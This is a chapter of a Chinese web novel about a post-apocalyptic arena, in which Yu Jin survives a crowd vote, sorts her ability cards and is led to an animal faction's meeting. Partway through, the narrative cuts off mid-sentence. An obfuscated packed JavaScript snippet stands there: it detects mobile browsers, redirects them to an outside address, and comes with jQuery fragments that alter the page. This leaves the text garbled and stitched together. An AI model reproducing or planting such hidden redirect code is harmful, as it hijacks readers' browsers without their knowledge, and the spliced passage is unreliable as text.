“三对三十！人类对抗动物！”中控者毫不掩饰的兴奋的声音从角斗场的一侧传出。


    这道非人的目光自始至终都萦绕着整个场地，视所有的生命如同挣扎的蝼蚁。


    它极具穿透力的声音很快回荡在整个斗兽场。


    “人类胜！”


    刹那间就像信火被点燃了，高层上的死寂瞬间爆燃成汹涌的火海。


    狂躁不驯的风裹挟着恶意的目光，狠狠刮过她们参差不齐的黑发、破损的权杖、汗淋淋的血肉……


    一种奇异、令人毛骨悚然的感觉比先前更加狂烈地席卷而来。


    “可怜的人类啊！”宛若叹息一般的声音响起，“你们英勇的表现让我们骄傲，可惜——”


    话音一转，带着森森然的恶意。


    “你们竟然残忍杀害了友好指导你们的动物。”


    “这罪大恶极！”


    “这不可饶恕！”


    角斗场经过几番苦战，已经破碎残败。


    站立着的三人闻言，反而相视一笑，眉眼间只有并肩浴血后的兴奋与锋芒。


    余烬不以为意，甚至能隐隐预料到后面的走向。


    中控者的长篇大论仍没有结束。


    “可是身居云端的我们向来仁慈——你们将获得一个机会……生与死将被摆在天平之上，由高层看台上的观众来决定你们接下来的命运。”


    “诸位，请表达你们的意志！”


    在余烬她们看不到的云层之上，千奇百怪类似手一样的东西伸出。


    起初只是零星几点举成形似大拇指朝下的手势，转瞬便密如潮水，演变成漫山遍野的倒喝彩。


    “嘘……”


    “剥掉她们的皮！”


    “啃食她们的肉！”


    “吸干她们的血！”


    来自观众席的狂暴、嘶吼、喧嚣直冲云霄。


    在搅成一团的鼓噪声中，却也隐隐传来狂热呼喊余烬等人名字的声音。


    恶意夹杂着几乎少的看不见的病态崇拜而肆意狂舞。


    所有生物都在欢呼，在热切期待着，那个即将注定发生的现实。


    想要看见鲜血，渴望咀嚼绝望，期待嗅到于废土中源源不断滋生的恶意……


    它们迫切，它们焦灼，它们惶惶。


    情绪的火山已经涨至了最高点，只需一个喷发。


    这时候只要中控者轻轻地拨动天平上的砝码——


    突然，喧嚣与狂热莫名其妙地戛然而止。


    所有高涨的情绪如同被一只无形的手狠狠按住。


    声音消失了，物理意义上的。


    所有的生物都不再言语，全部的目光都转移至那云层之上的云层。


    在深不可测的高处，只能看到从黑袍下伸出了一只手。


    却是拇指朝上。


    一个神秘的黑袍人。


    她表达了截然不同的态度。


    她，愿意饶恕她们。


    就像是一个信号，陆陆续续出现了更多拇指朝上的手势。


    面戴黑白两色面具的人渐渐从愤怒的动物群中脱离出来，就像油不会融于水一样。


    斗兽场顿时形成了一个滑稽的、鲜明的对立局面，一边是火山般的愤怒，一边是冰山般的戏谑。


    一直稳稳掌控局面的中控者似乎也震惊了，陷入了不甘的沉默。


    良久，才以惊讶、激动的语气尖叫起来，甚至可以说它是在咆哮。


    “人类啊，颤/栗吧！你们不可思议地获得了来自女巫的原谅！”


    “而幸运与荣光也将伴随你们！”


    仿佛中控者之前所有的恶意都不存在一样。


    最后，它优雅矜持地为这场角斗落幕：“本次角斗正式结束……呵呵，我们衷心期盼下一次更为热烈的角斗……”


    它因生物本能而发出的缱绻尾音丝丝牵动着所有仍在场的生物，细密得能割破人的皮肤。


    伴随着尾音，斗兽场又重归喧嚣，比黑山羊那次更为庞大、更为震撼的兽毛如同狂风骤雨般落下。


    密密麻麻或硬或软的兽毛、无数珍贵罕见的玉石、武器如同不值钱的小玩意一样无止休地掷下，像一场没有尽头的黑雨。


    最开始的黑点，到快落地时黑压压的阴影。


    噼啪咔嚓声不时响起，残骸满地绽开。


    幸而“暴风雨”只集中在外围，内围的三人这时候倒没有显得太狼狈。


    余烬仰头望向黑袍人离去的方向，若有所思。


    角斗结束之后，余烬回到了斗兽场专门为她安排的休息室。


    这是经过当初那个地下室后，还要不断向下深/入，才能抵达的一个地方。


    她的附属也随之安排在附近。


    真是稀奇，这个世界以下为尊，越居于地底，便越能彰显其权威。


    余烬没有急着先跟劳励耘，过群英她们相见，而是先梳理自己这几次角斗所获得成果。


    在她们三人合作杀死豹子野兽之后，她又听到了世界变化π的增长。


    恰好获得了3%，成功完整解锁了两张卡牌。


    终于可以用第二张卡牌进行飞行和护体，遗憾的是单次飞行时长上限达5小时，冷却期长达7天。


    这就比较棘手了。


    余烬只好把它跟［群体依附］归类在一块。


    ［群体依附］能强制让别人服从一秒一样。


    她得把它们用在最为关键的时候。


    第三张卡牌她也喜欢。


    使用第三张卡牌后，余烬目之所及的所有目标都会被锁链缠缚，移动速度降低80%。


    这些卡牌可以说是余烬讲话的底气，如果斗兽场真的翻脸，她也会有逃生的机会。


    但是事情也远不至于如此严重。


    别看杀死豹子后角斗场情形瞬变严峻，但是事情结果绝不会就这样一锤定局的。


    余烬早已发现，斗兽场表面关系融洽，两方势力团结不可阻挡。


    实际上背地里两股势力积怨已久。


    先不说之前余烬因为冰冻场而跟踪动物，发现的这两方势力之间的龃龉。


    再就是现在双方势力对斗兽场或者说其他利益之间的争夺与冲突。


    往往一家势大，另一家就会被迫削弱；一方贪/婪刻薄，那么另一方就会心存怨恨不甘。


    除非一方彻底被吞并消亡，否则争斗永不停息。


    谁也不会让另外一方真的成为斗兽场甚至这个世界上的一言堂。


    现在只是因为暂时的利益，双方的关系才勉强维持表面的体面。


    而一旦所求利益小于带来的危害，那么双方下一刻就会翻脸。


    当时在角斗场上，是动物首先造势来鼓动更多的声浪。


    虽然余烬不知道是为什么，但是那些戴着黑白面具的人类绝不会善罢甘休。


    不管是为了维护己方的权力，还是彰显自己在斗兽场的影响力。


    或者说高位上的人类早就需要一个借口了。


    一个名正言顺让她们获得更多权力的借口。


    这也是即使当时情况危急，余烬推测她们也死不了的原因。


    余烬不怕，是因为她已经对人类和动物的关系有一定了解。


    那黑山羊、包子为何会不怕？


    黑山羊本来就是一个冷静的疯子。


    虽然余烬还不知道她潜入斗兽场的目的，但是如果事情真的失败了，她可能也会选择直接杀穿斗兽场。


    即使会身亡，黑山羊也毫无畏惧。


    而包子可能就是单纯地拥有跟伙伴们一起干大事的兴奋感。


    等余烬整理妥当后，她去见了一直在等着她的劳励耘、过群英等人。


    剩下的人被劳励耘她们安排得井然有序。


    所有人住在斗兽场分配的一片区域里。


    虽然没有像余烬那样拥有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167927|193630||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一居室，但是在斗兽场这个不把人当人看的地方，她们能住六人间就已经不错了。


    所有人一见到余烬，原本蹲着的、坐着的人下意识都站了起来。


    她们一脸佩服又激动地看着余烬。


    当余烬她们在角斗场内角斗的时候，她们一直被监守在外面。


    虽然不能详细地看清楚角斗的过程，但是战斗中重要的节点、豹子的下场，以及观众的喧闹反应，她们一一目睹。


    而看得越多，就知道得越少，就愈加敬畏余烬。


    加之本来就有救命之恩，在从众光环的作用之下，众人心甘情愿地臣服于余烬。


    劳励耘这个实心眼，信奉以力为尊的人当然是把余烬说的话一板一眼地照做。


    而过群英也不敢再有其他小心思了。


    甚至她还庆幸当初没有用钢绳妄图攻击余烬，否则最终结果只会是身首异处。


    她也不想去弄明白为什么余烬会提前得知这一点了。


    在这一片宿舍区内，余烬并没有待很久，因为很快斗兽场的领路人又来了。


    他就是一个递话的传声筒。


    ……


    应该是夜晚的时分。


    天上却有类似太阳的圆形发光物体，在源源不断地散发着光热。


    流动的泉水，粗壮的树木，勃勃的绿芽，一切都仿若大灾变前的时代。


    鲜活，真实。


    就连空气也更加新鲜。


    这是利用一切资源达到了最为仿真的程度。


    要知道大灾变之后，月球支离破碎，就连地球也是在勉强支撑着，更遑论其中生存的生命，辐射、灰尘无处不在。


    所见皆是一无所有，肮脏和倦怠。


    这还是余烬第一次走出斗兽场。


    因为她收到了一封来自动物的邀请函。


    她走在这片陌生的土地上，温和的、近乎虚假的日光照耀着她，一切都似乎是一场梦，只有她脚下的影子是真实的。


    弯弯曲曲走了很久，影子也随之发生长短胖瘦的变化。


    斗兽场的领路人早已退去了，现在给余烬带路的是鬣狗形状的动物。


    前方躯干紧绷的鬣狗以后肢直立行走，但是由于它前肢更长，行动之间看起来就很怪异可笑。


    余烬的视线不着痕迹地从它粗短的脖子到只有4个趾头的爪垫扫过。


    它的爪子看起来很短，而且充满钝感，如果战斗应该不敌武器的锋利。


    当初从李海那里没收的匕首，至今仍在她的大/腿外侧绑着。


    棘手的应该会是它的牙齿。


    按照大灾变前的常识，鬣狗是肉食性动物，它们的牙齿锋利得甚至能够咬碎猎物的坚固骨骼。


    余烬推测，如果被眼前的生物咬上一口，哪怕只是轻轻的，人的手也会被撕咬下来。


    余烬不动声色观察四周，沿途一路看到的都是肉食性动物。


    每当经过时，它们都垂手不语。


    她感到了一种诡异的类人感。


    目的地很快就到达了，这是一处类似封闭回廊的建筑物。


    相比包子住的那个更像是儿童制作的歪歪扭扭的作品，眼前的建筑物更加宏伟壮观。


    牢固成块的大理石垒砌成坚实的堡垒，古朴花纹的雕柱根根屹立，从余烬的眼前一直延伸向远处。


    鬣狗海印俄回首向余烬轻轻地发出呼噜声，示意余烬独自一人进去。


    看起来它还不会说话。


    余烬这样想着，边走进了这扇已经被打开的门，暗自戒备着。


    缭绕沉闷的烟雾中，一张老式的背靠椅于其中若隐若现。


    似乎也听到了余烬进来的脚步声，椅子上一个依稀是人形的物体发出了喟叹。


    点点火光在浓雾里明明灭灭。


    “哒……哒……”


    随着它吞吐云雾的动作，不时传来鞋尖与地面相碰撞的声音。